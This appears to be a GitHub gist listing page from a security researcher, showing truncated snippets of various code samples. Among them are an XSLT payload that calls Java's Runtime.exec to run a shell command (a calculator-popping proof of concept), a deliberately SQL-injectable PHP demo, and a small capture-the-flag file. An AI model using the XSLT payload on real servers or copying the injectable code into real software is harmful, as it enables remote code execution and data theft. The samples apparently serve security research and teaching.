Owen Gong phith0n

🎯

Focusing

Creator of @vulhub

phith0n / client.py

Last active September 3, 2024 16:14

CoNote client example

	import requests
	import sseclient

	url = 'https://note.leavesongs.com/api/events'
	headers = {'Accept': 'text/event-stream', 'Authorization': 'Token <your API token>'}
	response = requests.get(url, headers=headers, stream=True)
	client = sseclient.SSEClient(response)
	for event in client.events():
	print("New %s event: %s" % (event.event, event.data))

phith0n / oidc.go

Last active July 29, 2024 15:20

Golang go-oidc example

	package web

	import (
	"context"
	"errors"
	"github.com/coreos/go-oidc/v3/oidc"
	"github.com/hashicorp/golang-lru/v2/expirable"
	"golang.org/x/oauth2"
	"time"
	)

phith0n / map.json

Created February 21, 2024 10:01

Chromium git commit id to release version, referer: <https://storage.googleapis.com/chromium-find-releases-static/02f.html#02fdae7a36767ddab114b10740449a4deda35696>

phith0n / flag.php

Created October 9, 2023 16:11

A small PHP challenge

	<?php
	define('FLAG', 'flag{y0uW1n}');

phith0n / select.xslt

Created September 8, 2022 08:41 — forked from thanatoskira/select.xslt

	<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
	<xsl:template>
	<!-- #113 Methodref: java/lang/Runtime.getRuntime:()Ljava/lang/Runtime; -->
	<!-- #119 Methodref: java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process; -->
	<!-- #114 Utf8: open -a calculator -->
	<!-- #115 String: touch /tmp/pwn -->
	<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime="java.lang.Runtime"/>
	<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>
	<!-- #132 Utf8: <init> -->
	<AAA select="<init>"/>

phith0n / download.php

Last active July 22, 2021 04:16

progress enabled file server

	<?php
	set_time_limit(0);

	$filename = 'bigfile.txt';
	$f = fopen($filename, 'r');
	$i = 0;
	$chunk = 2;
	$each = 100 / (filesize($filename) / $chunk);

	while (true) {

phith0n / regenerate.py

Last active May 21, 2021 10:09

a simple regexp generator

phith0n / field.php

Last active April 25, 2021 10:07

SQL injection in the update field key.

	<?php
	$db = new PDO('sqlite::memory:');
	$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	$db->exec("CREATE TABLE user (id int, username string, password string);");
	$db->exec("INSERT INTO user VALUES(1, 'admin', 'admin');");
	$db->exec("INSERT INTO user VALUES(2, 'demo', 'demo');");

	$summary = $_REQUEST['field'];
	$bind_vals = [];
	$sql_set = ' ';

phith0n / output.txt

Last active January 13, 2021 08:06

一个离奇的Shell问题（请在Linux下运行，MacOS下运行会出错）

phith0n / README.md

Created July 16, 2019 08:51

跑一跑微博被和谐的图

sinaimg子域名，跑一遍即可。